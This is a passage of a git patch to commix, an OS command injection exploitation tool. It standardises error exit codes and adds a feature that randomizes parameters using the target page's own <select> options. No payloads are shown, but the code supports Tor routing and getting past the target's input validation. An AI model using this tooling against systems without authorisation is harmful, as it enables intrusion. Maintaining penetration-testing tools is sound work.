settings.VERBOSITY_LEVEL >= 2: debug_msg = "Using '" + token_value + "' as the value of the anti-CSRF token '" + token_name + "'." diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index c95dc18079..8254b2cea4 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -43,7 +43,7 @@ def authentication_process(http_request_method): if not menu.options.auth_data: err_msg = "The '--auth-url' option requires you to also provide the '--auth-data' option." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) try: auth_url = menu.options.auth_url diff --git a/src/core/requests/cookies.py b/src/core/requests/cookies.py index 33d38084fb..c67f3e8ca7 100644 --- a/src/core/requests/cookies.py +++ b/src/core/requests/cookies.py @@ -30,7 +30,7 @@ def _read_cookies_file(cookies_file): except IOError as err_msg: err_msg = "There was a problem reading the cookies file '" + cookies_file + "' (" + str(err_msg) + ")." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) """ Turn the Netscape/wget cookie format into the value of a Cookie HTTP header. Every line holds seven @@ -58,7 +58,7 @@ def load_cookies(): if not cookie: err_msg = "No valid cookies found in the '" + menu.options.load_cookies + "' file." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) info_msg = "Loading cookies from the '" + os.path.split(menu.options.load_cookies)[1] + "' file. " settings.print_data_to_stdout(settings.print_info_msg(info_msg)) return cookie @@ -80,7 +80,7 @@ def live_cookies(): else: err_msg = "No cookies were provided in the '" + cookies_file + "' file." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) content = _read_cookies_file(cookies_file).strip() # Either the header as it would be sent, or the tab-separated file a browser exports. diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 216e16055a..05e9357512 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -106,7 +106,7 @@ def print_http_response(response_headers, code, page): if int(code) in settings.ABORT_CODE: err_msg = "Aborting due to detected HTTP code '" + str(code) + "'. " settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) except (ValueError, TypeError): warn_msg = "Skipping abort check due to invalid (or missing) HTTP response code '" + str(code) + "'" settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) @@ -153,7 +153,32 @@ def discover_digest_realm(url): A fresh value for a parameter named with '--randomize', shaped like the one it replaces - digits stay digits and letters keep their case, so a target that validates the format still accepts it. """ -def randomized_value(value): +def random_pool(): + """ + The values the target's own '<select>' menus offer, read once from the page the run started on. + + A parameter that is a menu has an answer the target already accepts: inventing one of the right + shape would be refused by anything that validates the choice. + """ + if not settings.RANDOM_POOL_READ: + settings.RANDOM_POOL_READ = True + for match in re.finditer(r"(?si)<select[^>]+\bname\s*=\s*[\"']?([^\"'\s>]+)[\"']?(.+?)</select>", settings.ORIGINAL_PAGE or ""): + name, body = match.groups() + options = tuple(re.findall(r"(?i)<option[^>]+\bvalue\s*=\s*[\"']?([^\"'\s>]*)", body)) + if options: + settings.RANDOM_POOL[name] = options + if settings.RANDOM_POOL and settings.VERBOSITY_LEVEL >= 2: + debug_msg = "Read the values offered for " + ", ".join("'" + _ + "'" for _ in sorted(settings.RANDOM_POOL)) + " from the target's own page." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + return settings.RANDOM_POOL + +def randomized_value(value, name=None): + # A menu is answered with one of its own options, rather than with a value of the same shape. + pool = random_pool().get(name) if name else None + if pool: + candidates = [_ for _ in pool if _ != value] or list(pool) + return random.choice(candidates) + def _swap(match): original = match.group() if original.isdigit(): @@ -181,13 +206,14 @@ def _pair(match): name, value = match.group("name").strip(), match.group("value") if name not in settings.RANDOMIZE_PARAMETERS_LIST: return match.group() - return match.group().replace(name + "=" + value, name + "=" + randomized_value(value), 1) + return match.group().replace(name + "=" + value, name + "=" + randomized_value(value, name), 1) # Both delimiters, so a cookie's pairs are read the way a query string's are. return re.sub(r"(?P<name>[^=&;?]+)=(?P<value>[^&;]*)", _pair, text) parts = request.full_url.split("?", 1) - if len(parts) == 2 and parts[1]: - request.full_url = parts[0] + "?" + _rewrite(parts[1]) + # A parameter written into the path is bounded by its own slashes, not by the '&' a query uses. + path = "/".join(_rewrite(segment) for segment in parts[0].split("/")) + request.full_url = path + ("?" + _rewrite(parts[1]) if len(parts) == 2 and parts[1] else "") if request.data: body = request.data.decode(settings.DEFAULT_CODEC, errors="replace") request.data = _rewrite(body).encode(settings.DEFAULT_CODEC) @@ -399,10 +425,10 @@ def https_open(self, req): settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "You provided an invalid target URL." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) except AttributeError: - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) except (_urllib.error.HTTPError, _urllib.error.URLError) as err_msg: # A deliberately unfollowed redirect - retrying won't help. @@ -507,7 +533,7 @@ def https_open(self, req): err_msg = error_msg settings.print_data_to_stdout(settings.print_critical_msg(err_msg + ").")) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) except _urllib.error.URLError as err: if not menu.options.drop_set_cookie: @@ -524,7 +550,7 @@ def https_open(self, req): page = "" print_http_response(response_headers, code, page) settings.print_data_to_stdout(settings.print_critical_msg("URL Error: " + reason)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) # A raw connection-level error - retry it like any other transient failure. except (SocketError, _http_client.BadStatusLine, _http_client.RemoteDisconnected, _http_client.IncompleteRead) as err: @@ -533,7 +559,7 @@ def https_open(self, req): continue err_msg = "The target host is not responding. Please ensure it is up and try again." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) """ Send again a request check_http_traffic() came back from empty-handed - which it does both when nothing answered and when the answer was a 3xx/4xx/5xx already read off the wire, and only the first is worth repeating. @@ -625,7 +651,7 @@ def do_check(request): if menu.options.auth_type.lower() not in (settings.AUTH_TYPE.BASIC, settings.AUTH_TYPE.DIGEST, settings.AUTH_TYPE.BEARER): err_msg = "HTTP authentication type value must be Basic, Digest or Bearer." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) if menu.options.auth_type.lower() == settings.AUTH_TYPE.BEARER: request.add_header(settings.AUTHORIZATION, "Bearer " + menu.options.auth_cred.strip()) elif menu.options.auth_type.lower() == settings.AUTH_TYPE.BASIC: diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 979adcdb52..f029a2c350 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -164,7 +164,7 @@ def do_GET_check(url, http_request_method): multi_parameters = [x for x in multi_parameters if x] except ValueError as err_msg: settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) if len([s for s in multi_parameters if "=" in s]) == 0: checks.no_parameters_found() @@ -460,7 +460,7 @@ def split_post_parameters(parameter): multi_parameters = parameter.split(settings.POST_DATA_PARAM_DELIMITER) except ValueError as err_msg: settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) if len([s for s in multi_parameters if "=" in s]) == 0 and not any((settings.IS_JSON, settings.IS_XML)): checks.no_parameters_found() @@ -757,7 +757,7 @@ def do_cookie_check(cookie): multi_parameters = [param.lstrip(settings.SINGLE_WHITESPACE) for param in cookie.split(settings.COOKIE_PARAM_DELIMITER)] except ValueError as err_msg: settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) if len([s for s in multi_parameters if "=" in s]) == 0 and not menu.options.shellshock: checks.no_parameters_found() diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py index 04df110284..8e6cf93c2a 100644 --- a/src/core/requests/proxy.py +++ b/src/core/requests/proxy.py @@ -34,7 +34,7 @@ def load_proxy_list(): if not os.path.isfile(menu.options.proxy_file): err_msg = "It seems the '" + menu.options.proxy_file + "' file does not exist." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) with open(menu.options.proxy_file, encoding=settings.DEFAULT_CODEC, errors="replace") as file: content = file.read() for match in re.finditer(r"(?i)((http[^:\s]*|socks[^:\s]*)://)?(?:([^:@\s/]+:[^@\s/]*)@)?([\w\-.]+):(\d+)", content): @@ -43,7 +43,7 @@ def load_proxy_list(): if not settings.PROXY_LIST: err_msg = "No proxy was found in the '" + menu.options.proxy_file + "' file." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) info_msg = "Loaded " + str(len(settings.PROXY_LIST)) + " prox" + ("ies" if len(settings.PROXY_LIST) != 1 else "y") info_msg += " from the '" + os.path.split(menu.options.proxy_file)[1] + "' file." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) @@ -90,7 +90,7 @@ def credentials(): if not match: err_msg = "The option '--proxy-cred' must be in format 'username:password'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) return match.group(1), match.group(2) """ @@ -102,7 +102,7 @@ def configure(): if scheme not in settings.PROXY_SCHEMES: err_msg = "Proxy value must be in format '(" + "|".join(settings.PROXY_SCHEMES) + ")://address:port'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) if scheme in settings.SOCKS_SCHEMES: username, password = credentials() @@ -141,7 +141,7 @@ def authorization_header(): if ":" not in menu.options.proxy_cred: err_msg = "The option '--proxy-cred' must be in format 'username:password'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) return "Basic " + b64encode(menu.options.proxy_cred.encode(settings.DEFAULT_CODEC)).decode().replace(settings.END_LINE.LF, "") """ diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index 6347088f75..73f2d6de71 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -62,7 +62,7 @@ def redirect_request(self, request, fp, code, msg, headers, newurl): else: err_msg = str(_urllib.error.HTTPError(request.get_full_url(), code, msg, headers, fp)).replace(": "," (") settings.print_data_to_stdout(settings.print_critical_msg(err_msg + ").")) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) def do_check(url, redirect_url): """ diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index c832acee0f..b198683b8f 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -60,6 +60,7 @@ def _build_request(): raw_body = response.read() first_response_content = raw_body.strip() response.read = (lambda _b: lambda *a, **kw: _b)(raw_body) + settings.ORIGINAL_PAGE = raw_body.decode(settings.DEFAULT_CODEC, errors="replace") else: first_response = _urllib.request.urlopen(_build_request(), timeout=settings.TIMEOUT) try: @@ -188,7 +189,7 @@ def _measure_response_time_with_auth_handling(url, http_request_method): response.close() except _http_client.InvalidURL as err_msg: settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) except (_urllib.error.HTTPError, _urllib.error.URLError) as err: ignore_start = time.time() @@ -223,14 +224,14 @@ def _measure_response_time_with_auth_handling(url, http_request_method): err_msg = "The identified HTTP authentication type (" + str(auth_type) + ") " err_msg += "is not yet supported." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) except IndexError: err_msg = "The provided pair of " + str(menu.options.auth_type) err_msg += " HTTP authentication credentials '" + str(menu.options.auth_cred) + "'" err_msg += " seems to be invalid." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) if menu.options.auth_type and menu.options.auth_type != auth_type.lower(): @@ -321,7 +322,7 @@ def _measure_response_time_with_auth_handling(url, http_request_method): except ValueError as err_msg: settings.print_data_to_stdout(settings.print_critical_msg(str(err_msg) + ".")) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) except Exception as err_msg: request_failed(err_msg) @@ -422,7 +423,7 @@ def request_failed(err_msg): error_msg = error_msg + "Skipping to the next target." settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) if not settings.CRAWLING: - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) else: return False @@ -452,7 +453,7 @@ def request_failed(err_msg): error_msg = err settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) if not settings.CRAWLING: - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) else: return False @@ -475,7 +476,7 @@ def request_failed(err_msg): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) if not settings.CRAWLING: if menu.options.auth_type and menu.options.auth_cred: - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) elif settings.TOTAL_OF_REQUESTS == 1: if "IncompleteRead" in str(error_msg): @@ -517,7 +518,7 @@ def request_failed(err_msg): error_msg += " and/or ".join(items) settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) if not settings.CRAWLING: - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) else: return False @@ -855,7 +856,7 @@ def application_identification(url, response=None): if settings.TARGET_APPLICATION.lower() in unsupported.lower(): err_msg = settings.TARGET_APPLICATION + " exploitation is not yet supported." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) """ Detect the underlying operating system of the target server based on server headers. @@ -875,7 +876,7 @@ def check_os(server_header): if settings.TARGET_OS == settings.OS.WINDOWS and menu.options.shellshock: err_msg = "The shellshock module ('--shellshock') is not available for Windows targets." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) break if named and settings.VERBOSITY_LEVEL != 0: diff --git a/src/core/requests/tor.py b/src/core/requests/tor.py index 8186e6da9f..68900985a6 100644 --- a/src/core/requests/tor.py +++ b/src/core/requests/tor.py @@ -32,7 +32,7 @@ def tor_connection_error(): err_msg += "Please ensure Tor is running and reachable" err_msg += " and that any provided options (e.g. '--tor-port') are correct." settings.print_data_to_stdout(settings.print_error_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) # The first of the given ports that something on the loopback address is listening on. @@ -69,7 +69,7 @@ def set_http_proxy_settings(): err_msg += "Please make sure that you have Tor (bundle) installed and set up, " err_msg += "so that you are able to successfully use the '--tor' switch." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) settings.TOR_HTTP_PROXY_PORT = str(port) menu.options.proxy = settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT @@ -92,7 +92,7 @@ def set_socks_proxy_settings(): err_msg += "Please make sure that you have Tor service installed and set up, " err_msg += "so that you are able to successfully use the '--tor' switch." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) # SOCKS5 has the names resolved at the other end, where SOCKS4 leaks each one to the local # resolver - which is the target's name, asked for by this host, in plain sight. @@ -108,7 +108,7 @@ def set_proxy_settings(): if tor_type not in settings.TOR_TYPES: err_msg = "The value of the '--tor-type' option must be one of " + ", ".join("'" + _ + "'" for _ in settings.TOR_TYPES) + "." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) menu.options.tor_type = tor_type if tor_type == settings.PROXY_TYPE.HTTP: @@ -128,7 +128,7 @@ def do_check(): if menu.options.offline: err_msg = "You cannot use Tor network while offline." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) try: request = _urllib.request.Request(settings.CHECK_TOR_API_PAGE, method=settings.HTTPMETHOD.GET) @@ -142,7 +142,7 @@ def do_check(): err_msg = "It appears that Tor is not properly set. " err_msg += "Please try using the '--tor-type' and/or '--tor-port' options." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) if settings.VERBOSITY_LEVEL != 0: debug_msg = "The connection is routed through the Tor network." diff --git a/src/core/startup.py b/src/core/startup.py index 26f47be528..d83129c9a1 100644 --- a/src/core/startup.py +++ b/src/core/startup.py @@ -51,14 +51,14 @@ def bootstrap(): if menu.options.interpreter not in settings.AVAILABLE_INTERPRETERS: err_msg = "'" + menu.options.interpreter + "' interpreter is not supported!" settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) # Define the level of verbosity. if menu.options.verbose > 4: err_msg = "The value for option '-v' " err_msg += "must be an integer value from range [0, 4]." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) else: settings.VERBOSITY_LEVEL = menu.options.verbose diff --git a/src/utils/common.py b/src/utils/common.py index e2a6a995b5..8ca73a4e79 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -338,94 +338,94 @@ def unhandled_exception(): err_msg = "Identified corrupted .pyc file(s)." err_msg += "Please delete .pyc files on your system to fix the problem." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) elif "must be pinned buffer, not bytearray" in exc_msg: err_msg = "Error occurred at Python interpreter. " err_msg += "Python 2.7.x fixes this. Please update accordingly. " err_msg += "(Reference: https://bugs.python.org/issue8104)" settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) elif any(_ in exc_msg for _ in ("MemoryError", "Cannot allocate memory")): err_msg = "Memory exhaustion detected." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) elif "Permission denied: '" in exc_msg: match = re.search(r"Permission denied: '([^']*)", exc_msg) err_msg = "Permission error occurred while accessing file '" + match.group(1) + "'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) elif all(_ in exc_msg for _ in ("Access is denied", "subprocess", "metasploit")): err_msg = "Permission error occurred while running Metasploit." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) elif all(_ in exc_msg for _ in ("Permission denied", "metasploit")): err_msg = "Permission error occurred while using Metasploit." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) elif "Invalid argument" in exc_msg: err_msg = "Corrupted installation detected. " err_msg += "You should retrieve the latest (dev) version from the official GitHub " err_msg += "repository at '" + settings.GIT_URL + "'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) elif "database disk image is malformed" in exc_msg: err_msg = "Local session file seems to be malformed. Please re-run with '--flush-session'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) elif all(_ in exc_msg for _ in ("No such file", "_'")): err_msg = "Corrupted installation detected ('" + exc_msg.strip().split(settings.END_LINE.LF)[-1] + "'). " err_msg += "You should retrieve the latest (dev) version from the official GitHub " err_msg += "repository at '" + settings.GIT_URL + "'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) elif "Invalid IPv6 URL" in exc_msg: err_msg = "Invalid URL ('" + exc_msg.strip().split(settings.END_LINE.LF)[-1] + "')" settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) elif any(_ in exc_msg for _ in ("Broken pipe",)): - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) elif any(_ in exc_msg for _ in ("The paging file is too small",)): err_msg = "No space left for paging file." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) elif all(_ in exc_msg for _ in ("SyntaxError: Non-ASCII character", ".py on line", "but no encoding declared")) or \ any(_ in exc_msg for _ in ("source code string cannot contain null bytes", "No module named")) or \ any(_ in exc_msg for _ in ("ImportError", "ModuleNotFoundError", "<frozen", "Can't find file for module")): err_msg = "Invalid runtime environment ('" + exc_msg.split("Error: ")[-1].strip() + "')." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) elif any(_ in exc_msg for _ in ("No space left", "Disk quota exceeded", "Disk full while accessing")): err_msg = "No space left on output device." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) elif "Read-only file system" in exc_msg: err_msg = "Output device is mounted as read-only." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) elif "OperationalError: disk I/O error" in exc_msg: err_msg = "I/O error on output device." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) elif "Violation of BIDI" in exc_msg: err_msg = "Invalid URL (violation of Bidi IDNA rule - RFC 5893)." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) elif any(_ in exc_msg for _ in ("tempfile.mkdtemp", "tempfile.mkstemp", "tempfile.py")): err_msg = "Unable to write to the temporary directory. " @@ -433,7 +433,7 @@ def unhandled_exception(): err_msg += "that you have sufficient permissions to " err_msg += "create temporary files and/or directories." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) else: err_msg = "Unhandled exception occurred in '" + settings.VERSION[1:] + "'. " @@ -476,7 +476,7 @@ def load_list_from_file(file_path, description="file"): if not os.path.isfile(file_path): err_msg = "The " + description + " '" + file_path + "' was not found." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) try: with open(file_path, "r", encoding="utf-8") as f: @@ -485,12 +485,12 @@ def load_list_from_file(file_path, description="file"): err_msg = "Cannot read the " + description + " '" + file_path + "'. " err_msg += "Check if the file is corrupted or unreadable." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) if not items: err_msg = "The " + description + " '" + file_path + "' is empty." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) # Bookkeeping behind whatever the list is being loaded for, so it does not break up that check. if settings.VERBOSITY_LEVEL > 1: diff --git a/src/utils/install.py b/src/utils/install.py index 64c91fc49b..28cecc2299 100644 --- a/src/utils/install.py +++ b/src/utils/install.py @@ -30,7 +30,7 @@ def remove(): except Exception as e: err_msg = "An error occurred while removing the application: " + str(e) settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) info_msg = "Successfully removed " + settings.APPLICATION.capitalize() + " and all related components." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) @@ -41,7 +41,7 @@ def abort_unsupported(packages, dependencies): err_msg += "To proceed on other systems, install the required packages (i.e. " + packages err_msg += ") and dependencies (i.e. " + dependencies + ") manually." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) # Installer Function def installer(): @@ -57,7 +57,7 @@ def installer(): if not common.running_as_admin(): err_msg = "This option requires administrative privileges to run." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) app_install_path = os.path.join(settings.INSTALL_DIR, settings.APPLICATION) launcher_path = os.path.join(settings.WRAPPER_PATH, settings.APPLICATION) @@ -96,7 +96,7 @@ def installer(): subprocess.call("chmod 775 " + os.path.join(app_install_path, settings.APPLICATION + ".py") + settings.NO_OUTPUT, shell=True) except Exception as e: settings.print_data_to_stdout(settings.print_critical_msg(str(e))) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) if settings.VERBOSITY_LEVEL != 0: debug_msg = "Creating launcher script at '" + launcher_path + "'..." @@ -110,7 +110,7 @@ def installer(): except Exception as e: err_msg = "Failed to create launcher: " + str(e) settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) try: if not os.path.exists(settings.OUTPUT_DIR): @@ -121,7 +121,7 @@ def installer(): except IndexError: error_msg = str(err_msg) + "." settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) info_msg = "Completed the installation." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) diff --git a/src/utils/logs.py b/src/utils/logs.py index 58b0758ce0..cc4258733c 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -46,7 +46,7 @@ def path_creation(path): except IndexError: error_msg = str(err_msg) + "." settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) """ Logs filename creation. @@ -101,7 +101,7 @@ def create_log_file(url, output_dir): else: err_msg = "The provided session file ('" + menu.options.session_file + "') does not exist." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) else: settings.SESSION_FILE = logs_path + "session.db" @@ -124,7 +124,7 @@ def create_log_file(url, output_dir): except IndexError: error_msg = str(err_msg.args[0]) + "." settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) if not menu.options.output_dir: filename = os.path.abspath(filename) diff --git a/src/utils/settings.py b/src/utils/settings.py index c34800730a..e8b33a06aa 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -359,17 +359,17 @@ def sys_argv_errors(): if len(sys.argv[i]) > 1 and all(ord(_) in xrange(0x2018, 0x2020) for _ in ((sys.argv[i].split('=', 1)[-1].strip() or ' ')[0], sys.argv[i][-1])): err_msg = "Illegal (non-console) quote characters ('" + sys.argv[i] + "')." print_data_to_stdout(print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(EXIT_FAILURE) # Check for illegal (non-console) comma characters. elif len(sys.argv[i]) > 1 and u"\uff0c" in sys.argv[i].split('=', 1)[-1]: err_msg = "Illegal (non-console) comma character ('" + sys.argv[i] + "')." print_data_to_stdout(print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(EXIT_FAILURE) # Check for potentially miswritten (illegal '=') short option. elif re.search(r"\A-\w=.+", sys.argv[i]): err_msg = "Potentially miswritten (illegal '=') short option detected ('" + sys.argv[i] + "')." print_data_to_stdout(print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(EXIT_FAILURE) # argv checks sys_argv_checks() @@ -382,7 +382,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "149" +REVISION = "150" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1876,12 +1876,22 @@ class END_LINE: # and in the output they return - a dropped one would read as a value that was fully retrieved. UNRESOLVED_CHAR = "?" +# What a run that ended on an error exits with, so that a caller can tell it apart from one that +# finished. A run ending any other way - the user quitting, the work being done - still exits zero. +EXIT_FAILURE = 1 + # Requests dropped on a timeout because '--ignore-timeouts' was given, counted for the run's summary. IGNORED_TIMEOUTS = 0 # The parameters '--randomize' was given, each one carrying a fresh value on every request. RANDOMIZE_PARAMETERS_LIST = [] +# The target's own first page, and the values its '<select>' menus offer - a parameter that is a +# menu is randomized by picking one of its own options, rather than by inventing a value. +ORIGINAL_PAGE = "" +RANDOM_POOL = {} +RANDOM_POOL_READ = False + # The places '--param-filter' was given, in upper case - a parameter elsewhere is not tested. PARAM_FILTER_PLACES = [] diff --git a/src/utils/update.py b/src/utils/update.py index 1529e8f139..dda5e26812 100755 --- a/src/utils/update.py +++ b/src/utils/update.py @@ -66,19 +66,19 @@ def updater(): if menu.options.offline: err_msg = "You cannot update " + settings.APPLICATION + " via GitHub without access to the Internet." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) root = _install_path() if not os.path.isdir(os.path.join(root, ".git")): err_msg = "Not a valid git repository. Please clone the '" + settings.APPLICATION + "' repository " err_msg += "from GitHub (e.g. 'git clone --depth 1 " + settings.GIT_URL + " " + settings.APPLICATION + "')." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) if not requirements.do_check("git"): err_msg = "The 'git' command was not found." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) info_msg = "Updating " + settings.APPLICATION + " to the latest development revision from the GitHub repository." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) From 4c9be67b3d9925d1f38adcde8cb1d20b17919fa9 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sun, 20 Sep 